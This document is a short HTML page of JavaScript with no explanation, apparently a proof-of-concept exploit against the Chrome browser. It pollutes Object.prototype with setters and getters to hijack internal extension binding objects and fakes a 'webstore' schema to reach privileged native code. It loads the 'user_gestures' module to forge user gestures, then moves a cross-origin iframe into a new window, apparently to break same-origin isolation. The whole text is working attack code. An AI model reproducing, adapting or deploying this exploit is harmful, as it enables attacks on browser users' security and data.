<script>
Object.prototype.__defineSetter__('create', function(v) {
  delete Object.prototype.create;
  Binding = this;
  this.create = v;
});
Object.prototype.__defineGetter__('test', function() {
  if (this.binding && this.binding.assertBool) {
    delete Object.prototype.test;
    t = this.binding;
    return function() {};
  }
});
Object.prototype.__defineSetter__('test', function() {});
Object.prototype.__defineSetter__('postMessage', function() {
  delete Object.prototype.postMessage;
  var bp = Binding.prototype;
  var old = bp.generate
  bp.generate = function() {
    if (!this.schema_.properties) {
      this.schema_.properties = {isInstalled: {type: '', value: 1}}
      this.schema_.namespace = 'webstore';
    }
    return old.apply(this, arguments);
  }
  var typeName = {};
  var propertyDef = {
    type: '',
    $ref: typeName,
    value: []
  };
  bp.generate.call({
    runHooks_: function() {},
    schema_: {
      namespace: 'webstore',
      properties: {isInstalled: propertyDef},
      types: [{id: typeName, functions: [], js_module: 'test'}]
    }
  });
});
chrome.runtime;
t.runWithNativesEnabled(function() {
  ug = t.getModuleSystem({}).requireNative('user_gestures');
});

var flip, flop, flap;
function f() {
  if (!flip && cached && ug) {
    flip = 1;
    var i = document.documentElement.appendChild(document.createElement('iframe'));
    i.src = 'f.html';
  }
  if (flop) {
    flop = 0;
    ug.RunWithUserGesture(function() {
      w = window.open();
    });
    x = frames[1].x;
    x.src = 'https://abc.xyz';
    w.document.documentElement.appendChild(x);
    flap = 1;
  }
  if (flap) {
    try {
      x.contentDocument;
    } catch(e) {
      flap = 0;
      frames[1].w.close();
    }
  }
}
</script>
<object data='s.swf'></object>
<iframe src='https://abc.xyz' onload='cached=1'></iframe>